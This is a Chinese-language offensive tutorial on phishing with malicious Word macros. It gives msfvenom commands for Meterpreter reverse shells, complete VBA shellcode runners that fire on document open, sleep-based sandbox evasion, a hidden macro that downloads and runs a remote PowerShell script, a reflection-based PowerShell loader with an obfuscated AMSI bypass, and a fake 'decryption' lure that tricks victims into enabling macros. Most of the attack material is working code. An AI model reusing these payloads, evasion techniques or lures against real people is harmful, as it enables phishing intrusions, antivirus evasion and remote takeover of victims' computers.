Word自带的宏功能允许我们运行任意代码,是通过Office进行钓鱼攻击的重要手段

在宏中运行ShellCode,可以直接通过调用Windows API实现,也可以通过使用PowerShell实现

VBAShellCode Runner

  1. 首先使用msfvenom生成VBA格式的ShellCode,命令如下

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8891 exitfunc=thread -f vbapplication
  2. VBA可以直接访问Windows API,具体实现代码如下

    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr

    Sub MyMacro()
    '
    ' MyMacro
    '
    '
    Dim allocRes As LongPtr
    Dim t1 As Date
    Dim t2 As Date
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr


    ' Shellcode
    buf = Array(Your ShellCode)

    ' Execute the shellcode
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    res = CreateThread(0, 0, addr, 0, 0, 0)


    End Sub


    Sub Document_Open()
    MyMacro
    End Sub

    Sub AutoOpen()
    MyMacro
    End Sub
  3. 如果有进一步的免杀需求,可以加入冷门API函数调用或者Sleep时间检测,还可以对ShellCode进行简单的异或加密

    	
    Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
    Private Declare PtrSafe Function FlsAlloc Lib "kernel32" () As LongPtr
    ' Call FlsAlloc and verify if the result exists
    allocRes = FlsAlloc()
    If IsNull(allocRes) Then
    End
    End If

    ' Sleep for 10 seconds and verify time passed
    t1 = Now()
    Sleep (10000)
    t2 = Now()
    time = DateDiff("s", t1, t2)
    If time < 10 Then
    Exit Sub
    End If
  4. 启动Word文档并开启宏即可观察到目标上线

    image-20210407172445142

使用VBA直接运行ShellCode的好处在于无文件和敏感进程调用,但是缺点在于目标关闭Word程序后Shell就会掉线,需要我们尽快将木马Migrate到其他进程中

PowerShell Add-Type

PowerShell中的Add-Type采用预编译的方法允许我们直接访问一些Windows API,如果我们使用VBA启动PowerShell,并从服务器上远程下载我们的PS1脚本,即可以独立进程的方式运行我们的ShellCode

同样使用msfvenom生成我们的ShellCode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8891 -f ps1

接下来编写PS1脚本如下:

$Kernel32=@"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32",CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize, IntPtr lpStartAddress,IntPtr lpParameter,uint dwCreationFlags,IntPtr lpThreadId);
}
"@

Add-Type $Kernel32
[Byte[]] $buf = 生成的ShellCode

$size=$buf.Length
[IntPtr]$addr= [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$addr,$size)


$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);

[Kernel32]::WaitForSingleObject($thandle,[uint32]"0xFFFFFFFF")

将该PowerShell脚本放置于服务器上,随后编写VBA脚本如下,来下载并启动PowerShell脚本

Sub MyMacro()
'
' MyMacro 宏
'
'
Dim str As String

str = Environ("windir") + "\SysWOW64\WindowsPowerShell\v1.0\powershell.exe (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1/test.ps1') | IEX"
Shell str, vbHide

End Sub

Sub Document_Open()
MyMacro
End Sub

Sub AutoOpen()
MyMacro
End Sub

需要注意的是,这里PowerShell的路径指定的是在64位系统中运行的32位PowerShell,具体运行什么版本的PowerShell,需要根据ShellCode的类型确定

该方法的优点在于Word关闭后不会影响PowerShell进程的运行,但目前大量杀毒软件都已经具备对PowerShell进行异常行为的拦截功能,因此上述实现方案很容易被查杀。除此之外,使用Add-type的调用方式会在磁盘上落地生成编译好的恶意代码,非常容易被杀毒软件查杀

PowerShell 直接调用API启动ShellCode

使用PowerShell中的Refelection特性,其实我们可以通过system.dll,拿到GetProcAddressGetModuleHandle两个关键函数,再构造函数的DelegateType,就可以在PowerShell中直接实现对Windows API的调用

具体实现代码如下:

# Compact AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)

# Shellcode loader >:]
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

# Allocate executable memory
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

# Copy shellcode to allocated memory
[Byte[]] $buf = 生成的ShellCode
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

# Execute shellcode and wait for it to exit
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)

该方法可以有效规避Add-Type会在磁盘上写入文件的问题,但是仍然需要启动PowerShell进程,这对一些杀毒软件的绕过是难以接受的

如何诱骗用户启用宏?

使用宏进行钓鱼攻击的核心在于需要用户启用宏,目前在Word中,只有doc和docm后缀名的文件可以启用宏,因为docm并不常见,所以一般会使用doc格式进行钓鱼攻击

在OSEP中,介绍了一种“解密文档内容”为借口的诱骗用户启用宏的方法,该方法制作的恶意Word文档如下图所示:

image-20210407175711347

当用户点击“启用内容”后,文档才会显示其真正内容,好像是一次真正的解密:

image-20210407175756147

该文档的制作方法如下:

  1. 选中需要“隐藏”的文档部分

    image-20210407180425987

  2. 选择 插入-文档部件-自动图文集-将所选内容保存到自动图文集库

    image-20210407180529732

  3. 输入一个你的自定义名称,然后点击确定

    image-20210407180642194

  4. 接下来删除文档内容,并将加密后的随机字符贴入文档

  5. 编写宏脚本如下,该脚本就可以自动删除文档所有内容,并从自动图文集中插入对应块,实现“解密”

    ActiveDocument.Content.Select ' 选择全文
    Selection.Delete ' 删除全文
    ActiveDocument.AttachedTemplate.AutoTextEntries("MYDOC").Insert Where:=Selection.Range, RichText:=True ' 插入自动图文集

    但其实这个方法并不好用,因为自动图文集并不和文档本身绑定,而是保存在模版文件dotm中,如果只把Word文档发送给他人,自动图文集会丢失,宏也会报错